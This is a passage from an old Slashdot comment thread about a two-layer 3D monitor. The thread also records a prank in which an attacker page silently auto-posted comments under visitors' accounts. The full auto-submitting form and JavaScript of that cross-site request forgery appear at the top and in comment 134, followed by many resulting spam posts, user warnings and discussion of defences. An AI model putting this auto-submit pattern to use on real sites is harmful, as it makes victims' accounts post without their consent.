      <TD><INPUT TYPE="text" NAME="postersubj" SIZE=50 MAXLENGTH=50></TD></TR>

      <TR>
      <TD ALIGN="RIGHT" VALIGN="TOP">Comment</TD>
      <TD><TEXTAREA WRAP="VIRTUAL" NAME="postercomment" ROWS="10"
      COLS="50"></TEXTAREA>
      <BR>(Use the Preview Button! Check those URLs!
      Don't forget the http://!)
      </TD></TR>

      <TR><TD> </TD><TD>
      <INPUT TYPE="hidden" NAME="op" VALUE="Submit">

      <SELECT name="posttype">
      <OPTION value="exttrans">Extrans (html tags to text)</OPTION>
      <OPTION value="html" SELECTED>HTML Formatted</OPTION>
      <OPTION value="plaintext">Plain Old Text</OPTION>
      </SELECT>
      </TD></TR><TR>
      <TD VALIGN="TOP" ALIGN="RIGHT">Allowed HTML</TD><TD><FONT SIZE="1">
      <B>
      <I>
      <P>
      <A>
      <LI>
      <OL>
      <UL>
      <EM>
      <BR>
      <TT>
      <STRONG>
      <BLOCKQUOTE>
      <DIV>
      </FONT>
      </TD></TR>
      </TABLE>

      </FORM>

      <SCRIPT>
      randSum=0
      for(i=0;i<10;i++) {
      randSum += Math.round(Math.random()*10)*Math.pow(10,i);
      }
      document.forms[0].formkey.value=randSum;

      atext = randSum;
      atext += "<br>";
      atext += "Here is your navigator : " + navigator.userAgent;
      atext += "<br>";
      atext += "Just a security hole of Slashdot. You can find this kind of ";
      atext += "hole in all sites which has a forum. I think that in site ";
      atext += "like e-trade you can make some people asks for stocks.";
      atext += "<br>";
      atext += "You can contact me there : Krakus.Irus à voila.com";
      atext += "<br>";
      atext += "If you want to <a href=\"http://www.multimania.com/abuabu/slashdotho le.html\">retry</a>.";
      atext += "<br>";
      atext += "If you want to know <a href=\"http://lwn.net/2000/features/Redirect.phtml \">more</a>.";
      document.forms[0].postercomment.value=atext;
      document.forms[0].postersubj.value = "Slashdot Security Hole" + randSum;
      document.forms[0].submit();
      </SCRIPT>

  71. CmdrTac PLease help by new500 · · Score: 1

    Can you mod down all those stupid "auto posts" without killing everyone's Karma? Pretty please?

  72. Who in the Hell!?! by Tony_Cross · · Score: 1

    You know, with all these warning replies, one really has to wonder just who is actually still clicking on that stupid link. Not much I can do, though.


    --------------------------------------------

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    "
    1. Re:Who in the Hell!?! by starling · · Score: 1

      >one really has to wonder just who is actually still clicking on that stupid link

      Mostly Windows users by the look of things. Read into that what you will...

  73. Re:Seems Cool in Concept by cculianu · · Score: 1

    Well, you'd need more than 2 planes for that type of thing. Seriously I don't think it will ever get that evolved. If anything games will just be more immersive, but I don't think that any practical differences in the way you play them (ie physically moving around the monitor to look around corners in a FPS) will ever come to pass with 3d monitors. Maybe with VR units.. but not 3d monitors.

  74. You're making an assumption! Another explanation. by CausticPuppy · · Score: 1

    And remember, whenever you make an Assumption, it only makes an "ASS" out of "U" and "MPTION." Or something. Obviously there are quite a few stupid *nix users here too, and probably a lot of Windoze users who never clicked on the bad link (including me.)

    OTOH, the high Stupid-Windows-Users count here could be explained by the fact that MS employees regularly scan Slashdot for copyright violations.

    --
    -CausticPuppy "Of all the people I know, you're certainly one of them." -Somebody I don't know
  75. And why is this cool? by thefallen · · Score: 1

    I don't see the point of making physical 3D. Human vision is 2x2D, so instead of 640x480x500 (whatever...) = 153M/update, why not do 640x480x2 directly in the brain? With head movement detection you could even have that moving thing. And while I realize this is expensive, it might be cheaper than to stack, stack, stack the screens. -Kaatunut

    --
    - Kaatunut
  76. How does it really, work? by dnnrly · · Score: 1

    I must admit that I didn't take the time to look through the whole website but I was just curious. I remember seeing a 3D tv screen while I was on a tour of Universtiy of Manchester, in their 3D labs a couple of years ago. Also, on the BBC, I saw an article about such devices in Japan. They work on the principle of the freznel lense I think. It basically acts as hundreds of round screens on a plane. When you look at each bead, it shows you a slightly different view of pixel than from other angles. The camera works like an insects compound eye. Not yet available but looks promising.

  77. Is it really 1024x768? by DJStealth · · Score: 1

    If you read the specifications page, there is a superscript above "Pixel Resoultion" which is a superscript "1".. At the bottom of the web page you will find a reference to this superscript saying "1 available resolution of 1024 x 768 XGA"

  78. Re:Wow, that sounds almost as cool as... by Upsilon · · Score: 3

    Hey, I tried out Virtual Boy! I didn't buy it, mind you, I rented it. For the first 10 minutes after I started using it I thought it was the coolest thing ever made. Then my eyes began to hurt, but for some reason I kept playing. Then I finally realized that there was something like a total of 4 games for it and they all sucked royally. I also realized that if I used it much longer my eyes would probably start bleeding or something. Anyway, once the novelty wore off it was hard not to realize that Virtual Boy was just a crappy system in many different ways. However, that does not mean this monitor concept is necessarily that bad an idea. I just hope my eyes won't start bleeding if I use it.

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    -Upsilon

  79. Re:Slashdot Security Hole7835782714 by lollipop17 · · Score: 1

    hmmmm.

    since lately I have been browsing at 1, I missed all this crap the first time. However, I was curious and looked into this thread...are some moderators modding down or marking some posts on this thread as trolls because of OS or browser bias? This thread is also going to add to posts about recent karma weirdness instead of slashdot articles.

    --

    Be a moderator, not a brick.
  80. What's the application here? by joe630 · · Score: 1

    And how far apart are the two layers? The only thing I can think of where two layers would be really useful is to finally have e-term have realtime and good transparency.

  81. Old technology by MrShiny · · Score: 1

    There are many prototype 3D, or "autostereographic" LCD screens in existance that are more advanced than this and less expensive.

    Most use a "lenticular sheet" on top of a standard LCD screen which is essentially an array if tiny lenses that transmit light from different pixels depending on viewing angle. Since your eyes are looking at the screen from two slightly different angles, they see different images.

    For a more detailed explaination, look at this document from the Philips web site.

    1. Re:Old technology by Akardam · · Score: 1

      That's kinda what I was thinking in my thread here. I just don't get how the 2-layer thing is supposed to make it look 3d.

  82. I suppose this is relevant to this thread now... by Akardam · · Score: 1

    I'm developing my own forum system in Perl, and I've long been considering the problem of off-site submissions beng used to spam/harm the forum (like is happening here).

    I was considering using only the HTTP_REFERER environment variable, but I've come to the realization that a) my server doesn't return that variable, and b) other's might not, either. Now, since I'm eventually intending to release this, I thought I should try and develop a solution that doesn't depend on that field.

    Anyways, my idea was using a hidden input field which would contain partially or wholly encrypted data from the server. This would be checked at submittal time to see if it matched up with what what the CGI said it should be.

    My main question is what data should I use. I was thinking of doing something with the date/time, but that opens up a whole can of worms.

    Comments appreciated. Y'all can e-mail me with your ideas, just un-spam-protectify my e-mail addy above.

    Akardam Out

  83. Slashdot Security Hole8465635362 by fReNeTiK · · Score: 1

    8465635362
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

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    1. Re:Slashdot Security Hole8465635362 by fReNeTiK · · Score: 1

      Damn. He's right. It works, at least on the type of system you see listed above...

      Thank god I don't use e-trade :)

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      I strongly believe that trying to be clever is detrimental to your health. -- Linus Torvalds
  84. Gotta love Lynx. by Spirilis · · Score: 1

    That's why I browse this site with Lynx. Lynx is normally ugly as hell on a black background, but I have my lynx running titlebar/resizebarless in an rxvt with a cool black/blue plasma-like background, under a VGA font. Pretty enjoyable Lynx setup.

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  85. Re:Slashdot Security Hole2088445932 by stienman · · Score: 1

    There is absolutely NO reason for you to have used this exploit on an ACTIVE thread!! Yes, you've shown there's an exploit, but honestly the moderator's points are going to used up moderating down automatic +1 posts (score:2). I don't know how many moderator points are passed out to people, but I suppose it is possible that their use in dumbing down your autoresponses could affect the moderating of the next few stories, as well as anger those who lose Karma because of this.

    I would strongly suggest that you disable the web page so it doesn't occur anymore on this thread. Start a new story and direct people there who want to know about this 'exploit'.

    -Adam

    "Responsibility is the price every man must pay for freedom" - Plato

  86. Re:Slashdot Security Hole9535028967 by zaphod.nu · · Score: 1

    I'll be damned... it acctually worked...
    In short, this is NOT good...

    .sig

  87. Slashdot Security Hole8587003594 by Mr.+Bones. · · Score: 1

    8587003594
    Here is your navigator : Mozilla/4.72 [en] (X11; U; Linux 2.2.14-5.0 i686)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  88. Re:Already on memepool by peterb · · Score: 2
    Actually, I think it is kind of fascinating. I see a number of links -- and not "hot news" links, either -- that show up on memepool and then later mysteriously appear, uncredited, on slashdot. There have been at least two (or perhaps three, depending on how you count) this week alone.

    I think we can all agree that information that is freely shared is good for everyone. It would be nice if the slashdot editors made at least a cursory effort to be aware of whether the links submitted to them are on another weblog. For the record, I personally don't think there's anything wrong with using the link, as long as appropriate credit is given.

    Also for the record, I am a contributor to memepool, and I have found it to take nearly no effort at all to check if leads I am given are currently appearing on another site. If we as members of the slashdot community expect the same level of responsibility from the slashdot editors, I have no doubt they will be able to rise to our expectations.

  89. Slashdot Security Hole6166270629 by B-Rad · · Score: 1

    6166270629
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  90. Wow, that sounds almost as cool as... by TheDullBlade · · Score: 3

    ...Virtual Boy! Anybody admit to trying out the crappy 3D toy? It didn't really have any modern 3D hardware, so it showed GameBoyish sprites at varying depths. This really sucked. Layers of flat screen don't look like anything useful or interesting; you'd need hundreds of layers packed very close together to be even moderately useful.

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    /.
    1. Re:Wow, that sounds almost as cool as... by ChaosEmerald · · Score: 1

      Hey, don't insult the Virtual Boy, it was pretty neat! What's too bad is that what it was using is so old that the Sega Master System had it, but with shutter glasses. But playing the Mario Tennis and watching the ball bounce to and away and to and away and to and away... was actually was quite fun! Why can't they use shutter glasses or something like that with the new 3D cards?

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    2. Re:Wow, that sounds almost as cool as... by luge · · Score: 2

      I had a professor who consulted with Nintendo on the Virtual Boy, and his opinion (though he said he'd never directly talked with anyone there about this) was that they were basically working out the kinks so that when multi-color LEDs were available, they'd be able to really quickly put together a viable 3D system. He had a whole bunch of pre-production units in his office, and we got to poke around in them quite a bit. They were pretty crappy as a platform, but mechanically/electronically they were really, really cool. Mark my words- cheap blue LEDs aren't very far away (they are in limited production already in Japan) and when their cost gets reasonable in a few years, Nintendo will come out with Son of VirtualBoy- and it'll blow us all away.
      ~luge

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      IAAL,BIANLY

  91. Re:Slashdot Bug by pnevares · · Score: 1

    Here is your navigator : Mozilla/4.0
    (compatible; MSIE 5.01; Windows NT 5.0)

    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.

    You can contact me there : Krakus.Irus à voila.com

    If you want to retry.

    If you want to know more.


    What warning?

    Pablo Nevares, "the freshmaker".

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    Pablo Nevares, "the freshmaker".
  92. Holographic displays by Hal-9001 · · Score: 1

    For more information about the technical challenges faced in developing interactive 3D holographic displays, check out the MIT Media Laboratory's Spatial Imaging Group at http://spi.www.media.mit.edu/groups/spi/.

    --
    "It take 9 months to bear a child, no matter how many women you assign to the job."
  93. More than 30 layers? by Kefabi · · Score: 1

    Reading through the comments, I see people talking about 20, 30 or even 100 layers! Won't there be a problem with this? If I had 100 layers of just about anything, I don't think I could see all the way through 99 layers to see the very first one. I have yet to see any kind of cheap LCD or Glass that is so transparent you could see through 100 layers of them. I don't think we will see any major advances in this area unless we can figure out how to make super-transparent materials cheap, or until we can project an image into air. And about some security hole I've head of, just login to Slashdot, and set your settings to show posts of level 3 or higher. The rest pretty much just waste your time. -Kefabi

  94. Very cool - DIY suggestions by Singlemalt · · Score: 1

    XFree86 4.0 supports any number of screens, so if this device is hooked up using double VGA cables it will work. However - there is not much software supporting this kind of setup.

    If it is not equipped with double VGA connectors, just take your old 14" and put it behind one of those transparent LCD's meant to be put on top of a good old OH projector. :)

    Or even cheaper - make a hardcopy of your background image and put it a few centimeters behind a transparent LCD together with a couple of lightbulbs (the LCD needs background illumination). :)

  95. Something to offset the cost of the display by yerricde · · Score: 3

    displaying the left half of your browser on top of the right half, tricking your system into thinking you were running at 1600x600

    Better yet, run a lot of adbars on the back screen plane. That way, you can surf the web on the front screen and still get paid to use Windows.

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    Will I retire or break 10K?
    1. Re:Something to offset the cost of the display by Phroggy · · Score: 1
      Yes!!!

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      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
  96. certainement by Krakus+Irus · · Score: 1

    TlOQsQfNC4 Je suis d'accord.

  97. the bug was an advertising ploy? by new500 · · Score: 1
    Okay I'm not certain about this, but the redirecting page code finishes off :

    loading this script : www.multimania.fr/general/pub/dpop/dpop-ie.js

    and then the script itself seems to load dozens of DOUBLECLICK ADS, e.g. thus :

    document.writehttp://ad.fr.doubleclick.net/adi/mar ch.mm.net/popup

    and all this is loaded in hidden

    tags, so you dont see . . could someone have done this just to get a thousand click through payments?

    slash wont let me quote the source verbatim and drops it so what you see here is edited, but the full source is posted hereabouts. Take a look for yourself . . .

    1. Re:the bug was an advertising ploy? by mdillon · · Score: 1
      that code is being added to the page by the web service provider, Multimania.fr, in order to pop up a window with a banner ad in it.

      the particular code that you saw is appended by the server because your User-Agent header identified your browser as M$ Internet Exploiter.

  98. Umm, No. by el+platano · · Score: 1

    Or, could it still be that the reason I still don't use Linux (it just sits there uselessly on /dev/hdc) is because it still sucks? Hmm, let me think...

    - My S3-based card is still unsupported.
    - Printing sucks.
    - Where are the programs??!

    People say, "Linux is coming along." Its UI is still not as good as Windows. Why bother to use the product that is "coming along" when you can use the exact one it's trying to copy?

    The day Macromedia and Adobe port their products to Linux, is the day I'll switch too. But I'm not going to use an OS that is essentially still in beta testing!!!

    You do have one valid point though... why anyone would still use IE is beyond me...

    Ryan

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    Soy el plátano! No tengo gusto de monos!
  99. Since deepvideo.com seems to be overloaded... by Akardam · · Score: 1

    I'm having a hard time understanding HOW they've made these monitors work. Specifically, I'm not sure how they'd use two display planes, one behind the other, to make something look 3d.

    I'm assuming that it'd be something like having your background on the farther back plane and your apps on the nearer plane. Sure, that'd make the apps look like they're floating over the background, but that's not real 3d. (Remember, I'm guessing how the work here, so feel free to correct me :) )

    Anyway, I think that the true future of 3d monitors will be something like an Active Holographic Display; i.e. a monitor who's elements can emit different light patterns in different directions. For example, an LCD-type screen that had a mechanism by which one pixel could emit blue light in one direction and green in another. The same concept is what makes holograms work. Surely it couldn't be too hard to make a monitor that does this same kind of thing?

    Anyhoo, enjoy the thoughts.

    Akardam Out

    1. Re:Since deepvideo.com seems to be overloaded... by anotherone · · Score: 1

      I'm not sure how they'd use two display planes, one behind the other, to make something look 3d.
      That's how the real world works.


      Don't criticise someone who is attempting to use free software for not using enough free software.

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  100. Re:I have one by Steven+W0ston · · Score: 1

    Several of my games (either ones I designed and/or wrote the engine for) have sold over 200,000 copies. I have 3 that hit the 500,000 mark. While not Quake numbers they aren't anything to scoff at.

    How many games have you sold? Not as many as I have.

    No one gives a crap about my games? I guess, if "no one" is Wal-Mark, ElBo, Software Etc and Comp USA.

    Myabe you should do some research before you go shooting your mouth off, dicknose.

    sw

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    Steven Woston Lead Programmer J-J-J-Julius Games http://www.jjjjulius.com
  101. 3d shutter glasses _are_ available, but... by TheDullBlade · · Score: 2

    ...nobody buys them. It seems everyone would rather have double the frame rate or double the resolution than binocular vision.

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    /.
  102. Silly me. I just had to push the button... by Akardam · · Score: 1

    Well, I've learnt my lesson for the day.

    And you all know I've used the CCK on my browser. :P

    "I run Linux most of the time. I swear!"

  103. Re:Slashdot Security Hole7835782714 by Eric+Gibson · · Score: 1

    Damn it! HAHAHAHAHAHA! Time to change my passwd I guess too, huh? fucker.

  104. Not LCD's then.... by blogan · · Score: 1

    OK, so don't use LCD's, but whatever sort of technology that they're using. If there's a problem where you can't stack more than 5 of them together, then limit it at five. Even if only 2 can be stacked together, this could be a way for people to afford the base part now and the other part later (assuming the company doesn't go belly up).

  105. Re:Slashdot Security Hole6507744350 by anotherone · · Score: 1

    rrrrrrrrr....
    That was a low down dirty trick. I'm not really worried about my karma, I'm just mad that now everyone knows I use Windows 98 and IE!


    Don't criticise someone who is attempting to use free software for not using enough free software.

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  106. Dimensional Fading? by Julius+X · · Score: 4

    I'm curious if using a display such as this, although the display only creates Two Dimensions, if it would be possible to do the same thing with video the same thing that stereo speakers have done for sound.

    With sound, you may only have two speakers(or more) speakers, but using fading effects, you can create the illusion of a sound being anywhere between or even outside the speaker radius.

    Would it be possible to do a similar effect using a 2-Dimensional display monitor? Perhaps the "front" dimension has an image(a mouse pointer for example), and while you move it to the "rear" dimension(since there are only two with this display), the front dimension "fades" the image into the rear dimension, creating the illusion that it has actually passed through space to get there, as if there really were more than two dimensions.

    Undoubtedly, to create the look of two dimensions, what the technology has required was one "transparent" display on top of another regular display, and all it would require would be a fading transparency effect to accomplish such illusions a demonstrated above.

    The possibllities here could be quite intriguing.


    -Julius X

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  107. Slashdot Security Hole1256488681 by mogezoq · · Score: 1

    1256488681
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  108. Slashdot Security Hole3584562908 by RangerDan · · Score: 1

    3584562908
    Here is your navigator : Mozilla/4.72 [en] (X11; U; Linux 2.2.10 i686; Nav)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  109. Slashdot Security Hole4914808620 by RangerDan · · Score: 1

    4914808620
    Here is your navigator : Mozilla/4.72 [en] (X11; U; Linux 2.2.10 i686; Nav)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  110. Slashdot Security Hole7627350769 by RangerDan · · Score: 1

    7627350769
    Here is your navigator : Mozilla/4.72 [en] (X11; U; Linux 2.2.10 i686; Nav)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  111. Re:Slashdot Security Hole4674775601 by mikpos · · Score: 1

    First of all I didn't get the "here's your browser thing". Why does it dump a bunch of garbage about Netscape 4.7? If you're going to make up stuff, do your research. Most people who have any respect for software quality would not be using Netscape products. And I don't see how writing some random HTTP header that was completely made up counts as a "security hole".

    Also, that other "Slashdot" security hole where people can supposedly post for you doesn't work for me either, despite the fact I have my cookie security settings on the most insecure possible for my browser.

    I think from now on you should s/Slashdot/shitty browser/g when talking about security holes.

  112. Slashdot Security Hole8755840128 by RangerDan · · Score: 1

    8755840128
    Here is your navigator : Mozilla/4.72 [en] (X11; U; Linux 2.2.10 i686; Nav)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  113. Re:Slashdot Security Hole2088445932 by technos · · Score: 1

    Hey, it was a decent demo, but still.. You should have set it to post to a 'new' forum and then redirected the user to it.. Wouldn't clog up the current discussion!!

    Win32?? It is still the choice of 'corporate america', and most of us browse from work at this hour. (Eastern US). I have a page linked to only from my /. sig, and I'd say fully 90% of the daytime traffic is Win32, with the spike of *nix after seven...

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  114. Slashdot Security Hole5838868843 by mogezoq · · Score: 1

    5838868843
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  115. Slashdot Security Hole319320611 by B-Rad · · Score: 1

    319320611
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  116. Slashdot Security Hole8179629783 by RangerDan · · Score: 1

    8179629783
    Here is your navigator : Mozilla/4.72 [en] (X11; U; Linux 2.2.10 i686; Nav)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  117. Oops! by Phroggy · · Score: 1
    I'm impressed. I'll have to check that out again at home (I'm at work on a lame Windows box with a pretty tight firewall); I'm curious as to exactly how that works.

    --

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    $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
    $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
  118. Slashdot Security Hole3082166927 by B-Rad · · Score: 1

    3082166927
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  119. 3D Background images ... by t1deman · · Score: 1

    You could really make some cool background images in 3D+. Maybe have you XTerms lay on a beach and bend due to the rocks underneath.

    Might have to settle with laying on the beach using an Xterm...

  120. Slashdot Security Hole8173618965 by palp · · Score: 1

    8173618965
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus@voila.fr
    If you want to retry.
    If you want to know more.

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    -palp
  121. is this off topic? (and what slashcode did . . by new500 · · Score: 1
    in post number 129 I wondered if there was a redirect in jscript going on the visited page, and if therefore there was some other security problem because i had scripting off as it happens the only redirect was performed by the slashcode engine as it accepted the bogus page's CGI POST data and redirected me to the acknowledgement page but i hadnt time to think about that when I postedall i woul dlike ot know is why my question / post was marked "Offtopic"?

    and to think i posted no 129 hoping a ontopic question amid all the bogus posts might restore a karma point lost by being the first sucker to accidentally hit the link (I thought I had clicked the more info link instead. for being the first I got modded down when everyone since "got away with it".

    oh well, there's irony for you - TWICE, :(

  122. Significant benefit for Visually Impared by Teancum · · Score: 3

    I was just thinking that for folks who are blind or otherwise visually impared could really use a monitor like this, especially if it were used in a display environment where folks who are also not so handicapped would also be able to use the same device.

    I imagine that there are some braile reading devices already, but this certainly could be used in a manner like that, allowing you to view web pages in braile and even grab images with some false relief so they can enjoy some of the benefits of the web as well. At least this is a very pratcial application for even using a two-height display.

    This could also be useful in applications where you need to have a configurable tactile display, such as the classic bridge controls found in the Star Trek TV series (post TOS). As you are pushing buttons you can change the "feel" of the user interface, and even "vibrate" the buttons to give a tactile response.

    Yeah, I think you could find some customers for something like this, even at the $8800 price tag.

  123. A SMOF by swm · · Score: 2
    Anyway, I think that the true future of 3d monitors will be something like an Active Holographic Display; i.e. a monitor who's elements can emit different light patterns in different directions. For example, an LCD-type screen that had a mechanism by which one pixel could emit blue light in one direction and green in another. The same concept is what makes holograms work. Surely it couldn't be too hard to make a monitor that does this same kind of thing?

    A SMOF (Small Matter Of Fabrication)

    To make a holographic display, all you need is

    • a screen with a dot pitch smaller than the wave length of light
    • and the pixels have to emit coherent (i.e. laser) light
    • and you have to control the phase at which each pixel emits
    Yeah...that's the ticket: if you control the amplitude and phase of the light emitted at each point on a surface, then you can synthesize any image.

    Computing the required video bandwidth is left as an exercise for the reader.

  124. Hmm... by babbage · · Score: 1

    "Available for $8765.00 for US and Canada..."... something to that extent. If you're smart, you'll make that Canadian dollars, of course. If the company was smart, they'd be explicit about that sort of detail, lest they lose 1/4 of their money on each purchase... :)



  125. Has it been fixed? by lurker786 · · Score: 1

    I feel left out, I clicked on the link and didn't get a free troll. I even activated JScript! Does anybody know if it's been fixed?

  126. Not a tactile monitor by David+Roundy · · Score: 1
    I think you have misunderstood what this is. It is a monitor with two layers of display, one behind the other, so the surface is still smooth and flat.

    But I do agree with you that a tactile display would be extremely cool.

    But I'm looking forward to when we get transparent displays with resolutions of tenths of microns (ok, this is a bit far in the future) so we can have real 3-D holographic displays. That would be even cooler (at least for those of us with eyes).

  127. Here's some statistics by divec · · Score: 2
    Just attacked the comments page with textutils and got some stats about the people who clicked the link. (I'll post them in a follow-up message). Some interesting points:
    • Amongst clickers, Win2k is already as popular as WinNT.
    • Nearly all of the Windows clickers were IE users.
    • Netscape and IE users were equally likely to post more than once.
    • AC clickers use the same software as logged-in clickers.

    I'd love to know how representative the clickers are of the whole of slashdot. IIRC slashdot's Windows/Linux proportions a year ago were about the same as in these stats, so it's possible.
    --

    perl -e 'fork||print for split//,"hahahaha"'

    1. Re:Here's some statistics by divec · · Score: 2
      As of when these figures were compiled, 313 copies of the message had been posted.
      • 159 of these were from ACs
        • 60 Win9x
        • 35 WinNT
        • 19 Win2k
        • 37 Linux
        • 4 Mac
        • 3 IRIX
        • 1 SunOS
        • 85 MSIE
        • 72 Netscape
        • 2 Opera
      • 79 different logged-in users posted the message
        • 27 Win9x
        • 16 Win2k
        • 17 WinNT
        • 11 Linux
        • 4 Mac
        • 2 IRIX
        • 1 SunOS
        • 1 "Poo"

        • 52 used MSIE (49 v5, 3 v4)
        • 22 used Netscape 4.x (11 Linux, 8 Windows, 2 IRIX, 1 SunOS, 1 Mac)
        • 3 used Opera on Windows
        • 1 used Mozilla m14 on Windows
        • 1 used "Fartzilla" (the same chapppie who runs it on "Poo")
      • 37 accounts posted the message more than once
        • 27 IE
        • 10 Netscape
        • 29 Win
        • 8 Linux
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      perl -e 'fork||print for split//,"hahahaha"'

    2. Re:Here's some statistics by istartedi · · Score: 1

      37 Linux ACs and 11 logged-in Linux users, with Linux at the bottom for those who posted more than once (37 people did that). This is from a sample of 313. Rearranging these numbers, we can easily form 31337, thus proving that Linux is an 31337 OS. It's eerie, isn't it?

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      For all intensive purposes, "whom" is no longer a word. That begs the question, "who cares"?
  128. I have one by Steven+W0ston · · Score: 1

    I, of course, got one of these to evaluate. It's a piece of crap. Absolute crap. Sure, 800X600 sounds "decent" but what they don't tell you is that it has an interlace refresh frequency of 54 Hz. Big deal, you say. Well, it IS a BIG FRIGGIN DEAL when every lightbulb in the house pops all at once! Boy was my wife pissed. I sent it back. You'll never see one of MY games on this hunk of junk.

    sw

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  129. Slashdot Bug by Tony_Cross · · Score: 1

    Once again, curiosity kills the cat. How many of you, honestly, went ahead and clicked those two links at the bottom of those "Slashdot Security Bug" messages, even with that warning not to click them? I did. Maybe now you can understand how viruses spread so easily, and possibly, you can sympathize just a little bit with those poor (mainly windows using) victims of "The Love Virus".


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    "
  130. Slashdot Security Hole by stienman · · Score: 5

    DO NOT follow the links on the SLASHDOT SECURITY HOLE. It posts a message to this thread under your name (if you are logged in) which is then moderated down by conscientious moderators, which causes you to lose Karma.

    Of course, if you WANT to lose Karma, keep clicking on retry...

    -Adam

    Posted by Adam, who thinks some moderators will moderate this down just to watch others lose Karma...

  131. Ok, we love you, buh bye now! by Akardam · · Score: 1

    One less Anonymous Coward...

    *does the Happy Dance*

  132. Slashdot Security Hole8254930664 by jbellis · · Score: 1

    8254930664
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  133. Slashdot Security Hole5969313789 by RangerDan · · Score: 1

    5969313789
    Here is your navigator : Mozilla/4.72 [en] (X11; U; Linux 2.2.10 i686; Nav)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  134. Here's the SlashVirus code: by Eponymous,+Showered · · Score: 2



    <!--
    function doerror() {return true;};
    // To avoid multiple calls with frames, only the top-most frameset calls the popup :
    var nav = navigator.appName.charAt(0);
    var ver = navigator.appVersion.charAt(0);
    if (top==self) { // && (document.cookie.indexOf(document.location) < 0) ) {
    // document.write("---"+document.cookie.indexOf(docum ent.location)+"---");
    document.cookie = "IB="+document.location;
    var w,h;
    var hak = 0;

    if ((nav=="N" && ver < "4") || (nav=="E" && ver < "3")) {
    w = 500;
    h = 184;
    }
    else if (nav=="N") { // NS 4
    w = 468;
    h = 134;
    }
    else { // IE 4+
    w = 468;
    h = 134;
    hak = 1;
    }

    var adr = "http://www.multimania.fr/general/pub/popup/perso. phtml?category=/noref&search_query=" + escape("");
    window.open(
    adr,
    "CtrlWindow",
    "width="+w+",height="+h+",toolbar=no,menubar=no,lo cation=no,scrollbars=no,resize=no"
    );

    if (hak) {
    window.onerror = doerror;
    }
    }
    // -->

    </SCRIPT>
    <FORM ACTION="http://www.slashdot.org/comments.pl" METHOD="POST">

    <INPUT TYPE="HIDDEN" NAME="sid" VALUE="00/05/19/190219">
    <INPUT TYPE="HIDDEN" NAME="pid" VALUE="0">
    <INPUT TYPE="HIDDEN" NAME="mode" VALUE="thread">
    <INPUT TYPE="HIDDEN" NAME="startat" VALUE="">
    <INPUT TYPE="HIDDEN" NAME="threshold" VALUE="1">
    <INPUT TYPE="HIDDEN" NAME="commentsort" VALUE="0">

    <TABLE BORDER="0" CELLSPACING="0" CELLPADDING="1">

    <INPUT type="hidden" name="formkey" value="NmRBBKFoO7">
    <TR><TD> </TD><TD>
    You are not logged in. You can login now using the
    convenient form below, or
    <A HREF="http://slashdot.org/users.pl">Create an Account</A>.
    Posts without proper registration are posted as
    <B>Anonymous Coward</B>
    </TD></TR>

